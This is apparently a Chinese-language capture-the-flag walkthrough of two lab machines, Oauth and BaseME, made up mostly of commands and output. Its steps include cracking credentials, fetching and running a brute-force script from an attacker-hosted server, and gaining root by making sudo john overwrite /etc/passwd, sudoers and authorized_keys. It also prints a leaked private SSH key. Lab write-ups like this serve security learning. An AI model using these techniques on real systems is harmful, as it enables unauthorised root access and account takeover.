Oauth:/var/www/localhost/htdocs/wordpress/wp-admin$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
keycloak:x:102:103::/home/keycloak:/bin/bash

在/var/www/localhost/htdocs/wordpress，查看wp-config.php，可以获得数据库的一个用户wpuser和密码wppass，在wordPress数据库的wp_users表可以查看用户信息：

+----+------------+-----------------------------------------------------------------+---------------+-----------------+------------------+---------------------+--------------------------------------------------------------+-------------+--------------+
| ID | user_login | user_pass | user_nicename | user_email | user_url | user_registered | user_activation_key | user_status | display_name |
+----+------------+-----------------------------------------------------------------+---------------+-----------------+------------------+---------------------+--------------------------------------------------------------+-------------+--------------+
| 1 | sublarge | $wp$2y$10$fXkwhjebLy0jD3cp5G1uIuwqtu720.FYFhXbQrwHMiuiDb34yaina | sublarge | admin@oauth.dsz | http://oauth.dsz | 2026-03-08 07:13:48 | 1780313905:$generic$h3g95FK5QUYF5u_UNwW7v-olEYO4zMvWDlgCwdUG | 0 | sublarge |
+----+------------+-----------------------------------------------------------------+---------------+-----------------+------------------+---------------------+--------------------------------------------------------------+-------------+--------------+
1 row in set (0.000 sec)

在/opt/keycloak-26.0.0/conf，可以查看keycloak的配置信息，PostgreSQL被注释掉了，所以使用的默认的嵌入式数据库h2。

Oauth:/opt/keycloak-26.0.0/conf$ find / -user keycloak -type f 2>/dev/null
/opt/keycloak-26.0.0/data/h2/keycloakdb.mv.db
/opt/keycloak-26.0.0/data/h2/keycloakdb.trace.db

本来想从这里获取keycloak的密码，但是太难读了，是二进制格式的数据，并没有读取到密码。

Oauth:/home$ cd keycloak/
Oauth:/home/keycloak$ ls -al
total 20
drwxr-sr-x 2 keycloak keycloak 4096 Apr 9 10:55 .
drwxr-xr-x 3 root root 4096 Apr 9 10:41 ..
-rw-r--r-- 1 root keycloak 73 Mar 9 15:17 ...
-rw-r--r-- 1 root keycloak 33 Apr 9 10:55 .profile
-rw-r--r-- 1 root keycloak 44 Mar 9 15:17 user.txt
Oauth:/home/keycloak$ cat user.txt
flag{user-dd5c07036f2975ff4bce568b6511d3bc}

我自己就只做到这里；接下来就是查看wp，看了一下，我才发现...：

Oauth:/home/keycloak$ cat ./...
Don't just crack user.txt; use John’s --rules to expand your horizons.

翻译：不要只是破解 user.txt；用 John 的 --rules 来扩展你的视野。

dd5c07036f2975ff4bce568b6511d3bc是一段hash值，判断类型：

╭─ ~ ──────────────────────────────────────────────────────────────── ✔  root@kali  00:59:30 
╰─ hash-identifier dd5c07036f2975ff4bce568b6511d3bc
Possible Hashs:
[+] MD5
[+] Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username)))
# 后面的省略

也可以根据长度判断：32位，最常见的32位hash是md5。

╭─ /tmp/123 ───────────────────────────────────────────────────────── ✔  root@kali  01:13:00 
╰─ john --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-MD5 hash
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=2
Press 'q' or Ctrl-C to abort, almost any other key for status
single (?) 
1g 0:00:00:00 DONE (2026-06-02 01:13) 10.00g/s 7680p/s 7680c/s 7680C/s jeffrey..james1
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.

解出来为：single。

john 的 --rules 可以对字典进行变形：

╭─ /tmp/123 ───────────────────────────────────────────────────────── ✔  root@kali  01:19:29 
╰─ vim user.txt 
# user.txt 的内容是：keycloak
╭─ /tmp/123 ──────────────────────────────────────────────────── ✔  8s  root@kali  01:20:28 
╰─ john --wordlist=user.txt --rules=single --stdout > pass.txt
Using default input encoding: UTF-8
Press 'q' or Ctrl-C to abort, almost any other key for status
897p 0:00:00:00 100.00% (2026-06-02 01:20) 14950p/s keycloak1900
╭─ /tmp/123 ───────────────────────────────────────────────────────── ✔  root@kali  01:20:36 
╰─ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
192.168.56.126 - - [02/Jun/2026 01:23:46] "GET /pass.txt HTTP/1.1" 200 -
# 靶机
Oauth:/tmp/tmp$ wget http://192.168.56.101:8000/pass.txt
Connecting to 192.168.56.101:8000 (192.168.56.101:8000)
saving to 'pass.txt'
pass.txt 100% |**************************************************| 9798 0:00:00 ETA
'pass.txt' saved

Oauth:/tmp/tmp$ wget http://192.168.56.101:8000/subrute.sh
Connecting to 192.168.56.101:8000 (192.168.56.101:8000)
saving to 'subrute.sh'
subrute.sh 100% |**************************************************| 431 0:00:00 ETA
'subrute.sh' saved

Oauth:/tmp/tmp$ bash subrute.sh 
: No such file or directoryt
subrute.sh: line 6: $'\r': command not found
subrute.sh: line 14: syntax error near unexpected token `}'
'ubrute.sh: line 14: ` } &
Oauth:/tmp/tmp$ dos2unix subrute.sh 
Oauth:/tmp/tmp$ bash subrute.sh keycloak pass.txt
[*] Progress: [576/897] !keycloak!
[+] FOUND => ;tib'[d;
Killed bash subrute.sh keycloak pass.txt

爆破出密码为：;tib'[d;

Oauth:/tmp/tmp$ su keycloak
Password: 
Oauth:/tmp/tmp$ id
uid=102(keycloak) gid=103(keycloak) groups=103(keycloak),103(keycloak)
Oauth:/tmp/tmp$ sudo -l
Matching Defaults entries for keycloak on Oauth:
 secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

Runas and Command-specific defaults for keycloak:
 Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL"

User keycloak may run the following commands on Oauth:
 (ALL) NOPASSWD: /usr/bin/john

本来想利用Press靶机的提权方法，最后发现john的写入无法覆盖掉目标文件，会报错，最后还是放弃了这个提权手法，尝试：韭菜-叶片的提权手法，我觉得他的思路，我可以理解。

权限提升

提权思路：john 在爆破密码时，如果爆破正确，会将用户名和密码写入到~/.john/john.pot 文件里面，我们可以通过--pot指定任意路径，让john把我们构造的恶意内容写入到我们指定的任意文件。

╭─ ~/tools ────────────────────────────────────────────────────────── ✔  root@kali  01:48:04 
╰─ openssl passwd -1 -salt "so" "123456"
$1$so$WM4.wE1EeZcnUF30BnRkB/
#payload
$1$so$WM4.wE1EeZcnUF30BnRkB/:0:0:root:/root:/bin/bash

╭─ ~/tools ────────────────────────────────────────────────────────── ✔  root@kali  01:48:13 
╰─ echo -n '$1$so$WM4.wE1EeZcnUF30BnRkB/:0:0:root:/root:/bin/bash' | md5sum # -n 输出内容不加 \n
85efdaaaaba78e12b2fa7dce0b0444fc -
# 先在keycloak 用户下尝试：
Oauth:/tmp$ echo '85efdaaaaba78e12b2fa7dce0b0444fc' > hash.txt
Oauth:/tmp$ echo '$1$so$WM4.wE1EeZcnUF30BnRkB/:0:0:root:/root:/bin/bash' > pass.txt
Oauth:/tmp$ john --wordlist=pass.txt --format=Raw-MD5 hash.txt
Created directory: /home/keycloak/.john
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=2
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 1 candidate left, minimum 24 needed for performance.
$1$so$WM4.wE1EeZcnUF30BnRkB/:0:0:root:/root:/bin/bash (?)
1g 0:00:00:00 DONE (2026-06-02 13:54) 16.66g/s 16.66p/s 16.66c/s 16.66C/s $1$so$WM4.wE1EeZcnUF30BnRkB/:0:0:root:/root:/bin/bash
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed
Oauth:/tmp$ cat ~/.john/john.pot
$dynamic_0$85efdaaaaba78e12b2fa7dce0b0444fc:$1$so$WM4.wE1EeZcnUF30BnRkB/:0:0:root:/root:/bin/bash
# 可以看到已经写入了。
Oauth:/tmp$ sudo john --wordlist=pass.txt --format=Raw-MD5 hash.txt --pot=/etc/passwd
Created directory: /root/.john
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=2
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 1 candidate left, minimum 24 needed for performance.
$1$so$WM4.wE1EeZcnUF30BnRkB/:0:0:root:/root:/bin/bash (?)
1g 0:00:00:00 DONE (2026-06-02 13:56) 12.50g/s 12.50p/s 12.50c/s 12.50C/s $1$so$WM4.wE1EeZcnUF30BnRkB/:0:0:root:/root:/bin/bash
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed
Oauth:/tmp$ su '$dynamic_0$85efdaaaaba78e12b2fa7dce0b0444fc'
Password: 
Oauth:/tmp# id
uid=0(root) gid=0(root) groups=0(root)

可以看到提权成功。

scdyh 的提权思路和 lnnn 的提权思路是相同的，只是最终写入的文件是不同的。

scdyh 的提权思路：john 把密码爆破成功后，会以 hash:密码 的格式写入到 ~/.john/john.pot文件里，hash对于我们来说是垃圾信息，--field-separator-char=C 在输入文件和 pot 文件中用字符“C”代替“:” ，利用换行符将hash和密码隔开。

keycloak ALL=(ALL:ALL) NOPASSWD: ALL
# NOPASSWD 后面的 : 不要忘记

这是我们的payload，生成hash值：

╭─ /tmp/123 ─────────────────────────────────────────────────────── 1 ✘  root@kali  06:18:32 
╰─ echo -n 'keycloak ALL=(ALL:ALL) NOPASSWD: ALL' | openssl md5
MD5(stdin)= 8f0df3c42c370aee963ce2f1d5d7f589


Oauth:/tmp$ echo '8f0df3c42c370aee963ce2f1d5d7f589' > hash.txt
Oauth:/tmp$ echo 'keycloak ALL=(ALL:ALL) NOPASSWD: ALL' > pass.txt
Oauth:/tmp$ john --wordlist=pass.txt --format=Raw-MD5 hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=2
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 1 candidate left, minimum 24 needed for performance.
keycloak ALL=(ALL:ALL) NOPASSWD: ALL (?)
1g 0:00:00:00 DONE (2026-06-02 18:19) 25.00g/s 25.00p/s 25.00c/s 25.00C/s keycloak ALL=(ALL:ALL) NOPASSWD: ALL
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed
Oauth:/tmp$ cat ~/.john/john.pot
$dynamic_0$85efdaaaaba78e12b2fa7dce0b0444fc:$1$so$WM4.wE1EeZcnUF30BnRkB/:0:0:root:/root:/bin/bash
$dynamic_0$8f0df3c42c370aee963ce2f1d5d7f589:keycloak ALL=(ALL:ALL) NOPASSWD: ALL
Oauth:/tmp$ sudo john --wordlist=pass.txt --format=Raw-MD5 hash.txt --field-separator-char=$'\n' --pot=/etc/sudoers.d/pwn_john
using field sep char '
' (0x0a)
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=2
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 1 candidate left, minimum 24 needed for performance.
keycloak ALL=(ALL:ALL) NOPASSWD: ALL (?)
1g 0:00:00:00 DONE (2026-06-02 18:21) 33.33g/s 33.33p/s 33.33c/s 33.33C/s keycloak ALL=(ALL:ALL) NOPASSWD: ALL
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed
Oauth:/tmp$ sudo bash
/etc/sudoers.d/pwn_john:1:44: syntax error
$dynamic_0$8f0df3c42c370aee963ce2f1d5d7f589
 ^
Oauth:/tmp# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

发现确实会出现格式错误，只是警告出来，并没有终止代码执行。

还有测试的时候，发现了一些小bug : john 每种类型的hash都有自己的最大密码长度，如果你爆破的密码文件中某些密码长度大于最大长度，就只会截取最大密码长度的的字符用于爆破，比如：(你的密码长度刚好是42，最大密码长度也是42，只会截取到第42个字符再算hash用于爆破)，这个需要注意一下。

Oauth:/tmp# echo '$0$ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIfy3402O5EN6KOaInOukRh3bNQwoLDjEs88Wb+TuN3f root@kali' > hash.txt

Oauth:/tmp# echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIfy3402O5EN6KOaInOukRh3bNQwoLDjEs88Wb+TuN3f root@kali' > pass.txt

Oauth:/tmp# sudo john --wordlist=pass.txt --format=plaintext hash.txt --field-separator-char=$'\n' --pot=/root/.ssh/authorized_keys
/etc/sudoers.d/pwn_john:1:44: syntax error
$dynamic_0$8f0df3c42c370aee963ce2f1d5d7f589
 ^
using field sep char '
' (0x0a)
Using default input encoding: UTF-8
Loaded 1 password hash (plaintext, $0$ [n/a])
Warning: no OpenMP support for this hash type, consider --fork=2
Press 'q' or Ctrl-C to abort, almost any other key for status
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIfy3402O5EN6KOaInOukRh3bNQwoLDjEs88Wb+TuN3f root@kali (?)
1g 0:00:00:00 DONE (2026-06-02 20:29) 33.33g/s 33.33p/s 33.33c/s 33.33C/s ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIfy3402O5EN6KOaInOukRh3bNQwoLDjEs88Wb+TuN3f root@kali
Use the "--show" option to display all of the cracked passwords reliably
Session completed

BaseME

Sun, 31 May 2026 22:20:39 +0800

前期网卡的配置

在VM中先把网络切换为NAT模式；再按如下操作就可以：

e 进入编辑模式。

看见linux没，把 ro 改为 rw init="/bin/bash"，ctrl + x，进入救援模式。

修改/etc/network/interfaces ：

# 添加如下内容：
auto ens33 # 开机自动启用网卡 
iface ens33 inet dhcp # 启动后通过 DHCP 自动拿 IP

service networking restart

这样每次虚拟机重启后，都可以重新获取ip。(大概思路就是这样)

root@kali:/home/warn# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:74:0c:8a, IPv4: 192.168.174.130
WARNING: Cannot open MAC/Vendor file ieee-oui.txt: Permission denied
WARNING: Cannot open MAC/Vendor file mac-vendor.txt: Permission denied
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.174.1 00:50:56:c0:00:08 (Unknown)
192.168.174.2 00:50:56:e6:a5:f9 (Unknown)
192.168.174.133 00:0c:29:47:6f:55 (Unknown)
192.168.174.254 00:50:56:e3:46:91 (Unknown)

4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 1.895 seconds (135.09 hosts/sec). 4 responded

信息收集

root@kali:/home/warn# nmap -sV -sC 192.168.174.133 
Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-27 20:40 CST
Nmap scan report for 192.168.174.133
Host is up (0.00011s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
| 2048 ca:09:80:f7:3a:da:5a:b6:19:d9:5c:41:47:43:d4:10 (RSA)
| 256 d0:75:48:48:b8:26:59:37:64:3b:25:7f:20:10:f8:70 (ECDSA)
|_ 256 91:14:f7:93:0b:06:25:cb:e0:a5:30:e8:d3:d3:37:2b (ED25519)
80/tcp open http nginx 1.14.2
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: nginx/1.14.2
MAC Address: 00:0C:29:47:6F:55 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.71 seconds

开启了22端口，80端口。

80端口是http服务，服务为nginx。

root@kali:/home/warn# curl -i -s 192.168.174.133
HTTP/1.1 200 OK
Server: nginx/1.14.2
Date: Fri, 27 Mar 2026 12:42:43 GMT
Content-Type: text/html
Content-Length: 276
Last-Modified: Mon, 28 Sep 2020 07:23:35 GMT
Connection: keep-alive
ETag: "5f718f77-114"
Accept-Ranges: bytes

QUxMLCBhYnNvbHV0ZWx5IEFMTCB0aGF0IHlvdSBuZWVkIGlzIGluIEJBU0U2NC4KSW5jbHVkaW5nIHRoZSBwYXNzd29yZCB0aGF0IHlvdSBuZWVkIDopClJlbWVtYmVyLCBCQVNFNjQgaGFzIHRoZSBhbnN3ZXIgdG8gYWxsIHlvdXIgcXVlc3Rpb25zLgotbHVjYXMK

<!--
iloveyou
youloveyou
shelovesyou
helovesyou
weloveyou
theyhatesme
-->

root@kali:/home/warn# echo "QUxMLCBhYnNvbHV0ZWx5IEFMTCB0aGF0IHlvdSBuZWVkIGlzIGluIEJBU0U2NC4KSW5jbHVkaW5nIHRoZSBwYXNzd29yZCB0aGF0IHlvdSBuZWVkIDopClJlbWVtYmVyLCBCQVNFNjQgaGFzIHRoZSBhbnN3ZXIgdG8gYWxsIHlvdXIgcXVlc3Rpb25zLgotbHVjYXMK" | base64 -d
ALL, absolutely ALL that you need is in BASE64.
Including the password that you need :)
Remember, BASE64 has the answer to all your questions.
-lucas

翻译过来：你需要的所有东西都用了base64编码，包括的你的密码；记住，base64 可以回答你所有的问题。靶机名字叫baseme，对我进行base??编码。

root@kali:/home/warn# dirsearch -u http://192.168.174.133
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
 from pkg_resources import DistributionNotFound, VersionConflict

 _|. _ _ _ _ _ _|_ v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /home/warn/reports/http_192.168.174.133/_26-03-27_20-45-14.txt

Target: http://192.168.174.133/

[20:45:14] Starting:

并没有扫出任何内容。

root@kali:/home/warn# locate common.txt
/etc/theHarvester/wordlists/general/common.txt
/usr/share/dirb/wordlists/common.txt
/usr/share/dirb/wordlists/extensions_common.txt
/usr/share/dirb/wordlists/mutations_common.txt
/usr/share/fern-wifi-cracker/extras/wordlists/common.txt
/usr/share/metasploit-framework/data/wordlists/http_owa_common.txt
/usr/share/metasploit-framework/data/wordlists/sap_common.txt
/usr/share/wfuzz/wordlist/general/common.txt
/usr/share/wfuzz/wordlist/general/extensions_common.txt
/usr/share/wfuzz/wordlist/general/mutations_common.txt
# 我们使用这个：/usr/share/dirb/wordlists/common.txt
root@kali:/home/warn# while read -r line; do echo "$line" | base64 >> ./Desktop/dirs.txt; done < /usr/share/dirb/wordlists/common.txt
root@kali:/home/warn/Desktop# tail ./dirs.txt 
emlwCg==
emlwZmlsZXMK
emlwcwo=
em9la2VuCg==
em9uZQo=
em9uZXMK
em9vbQo=
em9wZQo=
em9ydW0K
enQK
root@kali:/home/warn/Desktop# dirsearch -u http://192.168.174.133 -w ./dirs.txt
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
 from pkg_resources import DistributionNotFound, VersionConflict

 _|. _ _ _ _ _ _|_ v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 4614

Output File: /home/warn/Desktop/reports/http_192.168.174.133/_26-03-27_20-57-43.txt

Target: http://192.168.174.133/

[20:57:43] Starting: 
[20:57:46] 200 - 2KB - /aWRfcnNhCg== 
[20:57:49] 200 - 25B - /cm9ib3RzLnR4dAo= 
 
Task Completed

为何要这样做：他提示我们所需要的东西都用了base64编码，通过默认目录并没有扫出，所以我们通过base64编码后再扫描，发现了两个目录。

root@kali:/home/warn/Desktop# curl -s http://192.168.174.133/aWRfcnNhCg== 
LS0tLS1CRUdJTiBPUEVOU1NIIFBSSVZBVEUgS0VZLS0tLS0KYjNCbGJuTnphQzFyWlhrdGRqRUFB
QUFBQ21GbGN6STFOaTFqZEhJQUFBQUdZbU55ZVhCMEFBQUFHQUFBQUJCVHhlOFlVTApCdHpmZnRB
ZFBncDhZWkFBQUFFQUFBQUFFQUFBRVhBQUFBQjNOemFDMXljMkVBQUFBREFRQUJBQUFCQVFDWkNY
dkVQbk8xCmNiaHhxY3RCRWNCRFpqcXJGZm9sd1ZLbXBCZ1kwN00zQ0s3cE8xMFVnQnNMeVl3QXpK
RXc0ZTZZZ1BOU3lDRFdGYU5US0cKMDdqZ2NncmdncmU4ZVBDTU5GQkNBR2FZSG1MckZJc0tEQ0xJ
NE5FNTR0NThJVUhlWENaejcyeFRvYkwvcHRMazI2UkJuaAo3YkhHMUpqR2x4T2tPNm0rMW9GTkx0
TnVEMlFQbDhzYlp0RXpYNFM5bk5aL2RweVJwTWZtQjczck4zeXlJeWxldlZERXl2CmY3Q1o3b1JP
NDZ1RGdGUHk1VnprbmRDZUpGMll0WkJYZjVnamMyZmFqTVh2cStiOG9sOFJaWjZqSFhBaGlibEJY
d3BBbTQKdkxZZnh6STI3QlpGbm90ZUJuYmR6d1NMNWFwQkY1Z1lXSkFIS2ovSjZNaERqMUdLQUZj
MUFBQUQwTjlVRFRjVXh3TXQ1WApZRklaSzhpZUJMME5PdXdvY2RnYlV1a3RDMjFTZG5TeTZvY1cz
aW1NKzNteldqUGRvQksvSG8zMzl1UG1CV0k1c2JNcnBLCnhrWk1ubCtyY1RiZ3o0c3d2OGdOdUto
VWM3d1RndHJOWCtQTk1kSUFMTnBzeFlMdC9sNTZHSzhSNEo4ZkxJVTUrTW9qUnMKKzFOcllzOEo0
cm5PMXFXTm9KUlpvRGxBYVlxQlY5NWNYb0FFa3dVSFZ1c3RmZ3hVdHJZS3ArWVBGSWd4OG9rTWpK
Z25iaQpOTlczVHp4bHVOaTVvVWhhbEgyREoya2hLREdRVWk5Uk9GY3NFWGVKWHQzbGdwWlp0MWhy
UURBMW84alRYZVM0K2RXN25aCnpqZjNwME03N2IvTnZjWkUrb1hZUTFnNVhwMVFTT1Niait0bG13
NTRMN0VxYjFVaFpnblE3WnNLQ29hWTlTdUFjcW0zRTAKSUpoK0krWnYxZWdTTVMvRE9ISXhPM3Bz
UWtjaUxqa3BhK0d0d1FNbDFaQUpIUWFCNnE3MEpKY0JDZlZzeWtkWTUyTEtESQpweFpZcExabXlE
eDhUVGFBOEpPbXZHcGZOWmtNVTRJMGk1L1pUNjVTUkZKMU5sQkNOd2N3dE9sOWs0UFc1TFZ4TnNH
UkNKCk1KcjhrNUFjMENYMDNmWEVTcG1zVVVWUysvRGovaG50SHc4OWRPOEhjcXFJVUVwZUViZlRX
THZheDBDaVNoM0tqU2NlSnAKKzhnVXlER3ZDa2N5Vm5lVVFqbW1yUnN3UmhUTnh4S1JCWnNla0d3
SHBvOGhEWWJVRUZacXp6TEFRYkJJQWRybDF0dDdtVgp0VkJybXBNNkN3SmR6WUVsMjFGYUs4anZk
eUN3UHI1SFVndHV4clNwTHZuZGNud1BheEpXR2k0UDQ3MUREWmVSWURHY1doCmk2YklDckxRZ2VK
bEhhRVVtclFDNVJkdjAzendJOVU4RFhVWi9PSGI0MFBMOE1YcUJ0VS9iNkNFVTlKdXpKcEJyS1or
aysKdFNuN2hyOGhwcFQydFVTeER2QytVU01tdy9XRGZha2pmSHBvTndoN1B0NWkwY3d3cGtYRlF4
SlB2UjBiTHh2WFpuKzN4dwpON2J3NDVGaEJaQ3NIQ0FiVjIraFZzUDBseXhDUU9qN3lHa0JqYTg3
UzFlMHE2V1pqakI0U3ByZW5Ia083dGc1UTBIc3VNCkFpZi8wMkhIeldHK0NSL0lHbEZzTnRxMXZ5
bHQyeCtZLzA5MXZDa1JPQkRhd2pIei84b2d5MkZ6ZzhKWVRlb0xrSHdER1EKTytUb3dBMTBSQVRl
azZaRUl4aDZTbXRERy9WNXplV0N1RW1LNHNSVDNxMUZTdnBCMS9IK0Z4c0dDb1BJZzhGemNpR0No
MgpUTHVza2NYaWFnbnM5TjFSTE9ubEhoaVpkOFJaQTBaZzdvWklhQnZhWm5oWllHeWNwQUpwV0tl
YmpydG9rTFl1TWZYUkxsCjMvU0FlVWw3MkVBM20xRElueHNQZ3VGdWswMHJvTWM3N042ZXJZN3Rq
T1pMVllQb1NpeWdEUjFBN2Yzell6KzBpRkk0ckwKTkQ4aWtnbVF2RjZocnd3SkJycC8weEtFYU1U
Q0tMdnl5WjNlRFNkQkRQcmtUaGhGd3JQcEk2K0V4OFJ2Y1dJNmJUSkFXSgpMZG1tUlhVUy9EdE8r
NjkvYWlkdnhHQVlvYisxTT0KLS0tLS1FTkQgT1BFTlNTSCBQUklWQVRFIEtFWS0tLS0tCg==
# 是一段base64编码。
root@kali:/home/warn/Desktop# curl -s http://192.168.174.133/aWRfcnNhCg== | base64 -d
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABBTxe8YUL
BtzfftAdPgp8YZAAAAEAAAAAEAAAEXAAAAB3NzaC1yc2EAAAADAQABAAABAQCZCXvEPnO1
cbhxqctBEcBDZjqrFfolwVKmpBgY07M3CK7pO10UgBsLyYwAzJEw4e6YgPNSyCDWFaNTKG
07jgcgrggre8ePCMNFBCAGaYHmLrFIsKDCLI4NE54t58IUHeXCZz72xTobL/ptLk26RBnh
7bHG1JjGlxOkO6m+1oFNLtNuD2QPl8sbZtEzX4S9nNZ/dpyRpMfmB73rN3yyIylevVDEyv
f7CZ7oRO46uDgFPy5VzkndCeJF2YtZBXf5gjc2fajMXvq+b8ol8RZZ6jHXAhiblBXwpAm4
vLYfxzI27BZFnoteBnbdzwSL5apBF5gYWJAHKj/J6MhDj1GKAFc1AAAD0N9UDTcUxwMt5X
YFIZK8ieBL0NOuwocdgbUuktC21SdnSy6ocW3imM+3mzWjPdoBK/Ho339uPmBWI5sbMrpK
xkZMnl+rcTbgz4swv8gNuKhUc7wTgtrNX+PNMdIALNpsxYLt/l56GK8R4J8fLIU5+MojRs
+1NrYs8J4rnO1qWNoJRZoDlAaYqBV95cXoAEkwUHVustfgxUtrYKp+YPFIgx8okMjJgnbi
NNW3TzxluNi5oUhalH2DJ2khKDGQUi9ROFcsEXeJXt3lgpZZt1hrQDA1o8jTXeS4+dW7nZ
zjf3p0M77b/NvcZE+oXYQ1g5Xp1QSOSbj+tlmw54L7Eqb1UhZgnQ7ZsKCoaY9SuAcqm3E0
IJh+I+Zv1egSMS/DOHIxO3psQkciLjkpa+GtwQMl1ZAJHQaB6q70JJcBCfVsykdY52LKDI
pxZYpLZmyDx8TTaA8JOmvGpfNZkMU4I0i5/ZT65SRFJ1NlBCNwcwtOl9k4PW5LVxNsGRCJ
MJr8k5Ac0CX03fXESpmsUUVS+/Dj/hntHw89dO8HcqqIUEpeEbfTWLvax0CiSh3KjSceJp
+8gUyDGvCkcyVneUQjmmrRswRhTNxxKRBZsekGwHpo8hDYbUEFZqzzLAQbBIAdrl1tt7mV
tVBrmpM6CwJdzYEl21FaK8jvdyCwPr5HUgtuxrSpLvndcnwPaxJWGi4P471DDZeRYDGcWh
i6bICrLQgeJlHaEUmrQC5Rdv03zwI9U8DXUZ/OHb40PL8MXqBtU/b6CEU9JuzJpBrKZ+k+
tSn7hr8hppT2tUSxDvC+USMmw/WDfakjfHpoNwh7Pt5i0cwwpkXFQxJPvR0bLxvXZn+3xw
N7bw45FhBZCsHCAbV2+hVsP0lyxCQOj7yGkBja87S1e0q6WZjjB4SprenHkO7tg5Q0HsuM
Aif/02HHzWG+CR/IGlFsNtq1vylt2x+Y/091vCkROBDawjHz/8ogy2Fzg8JYTeoLkHwDGQ
O+TowA10RATek6ZEIxh6SmtDG/V5zeWCuEmK4sRT3q1FSvpB1/H+FxsGCoPIg8FzciGCh2
TLuskcXiagns9N1RLOnlHhiZd8RZA0Zg7oZIaBvaZnhZYGycpAJpWKebjrtokLYuMfXRLl
3/SAeUl72EA3m1DInxsPguFuk00roMc77N6erY7tjOZLVYPoSiygDR1A7f3zYz+0iFI4rL
ND8ikgmQvF6hrwwJBrp/0xKEaMTCKLvyyZ3eDSdBDPrkThhFwrPpI6+Ex8RvcWI6bTJAWJ
LdmmRXUS/DtO+69/aidvxGAYob+1M=
-----END OPENSSH PRIVATE KEY-----
root@kali:/home/warn/Desktop# curl -s http://192.168.174.133/aWRfcnNhCg== | base64 -d > rsa

漏洞利用

root@kali:/home/warn/Desktop# ssh -i ./rsa lucas@192.168.174.133
Enter passphrase for key './rsa': 
# 这里需要密码。
root@kali:/home/warn/Desktop# vim password.txt
iloveyou
youloveyou
shelovesyou
helovesyou
weloveyou
theyhatesme
# 将这些内容写入到password.txt里面。
root@kali:/home/warn/Desktop# while read -r line; do echo "$line"|base64 >> password2.txt; done < password.txt 
 
root@kali:/home/warn/Desktop# cat password2.txt 

aWxvdmV5b3UK
eW91bG92ZXlvdQo=
c2hlbG92ZXN5b3UK
aGVsb3Zlc3lvdQo=
d2Vsb3ZleW91Cg==
dGhleWhhdGVzbWUK
Cg==
root@kali:/home/warn/Desktop# ssh -i ./rsa lucas@192.168.174.133
Enter passphrase for key './rsa': 
Linux baseme 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Mar 26 06:11:02 2026 from 192.168.174.130
lucas@baseme:~$ ^C
lucas@baseme:~$ 
# 输入第一个发现就是密码。
# 这里不用脚本的原因是：ssh 输入密码时，不允许通过管道符输入东西。
lucas@baseme:~$ cat user.txt
 . ** 
 * *. 
 ,* 
 *, 
 , ,* 
 ., *, 
 / * 
 ,* *, 
 /. .*. 
 * ** 
 ,* ,* 
 ** *. 
 ** **. 
 ,* ** 
 *, ,* 
 * ** 
 *, .* 
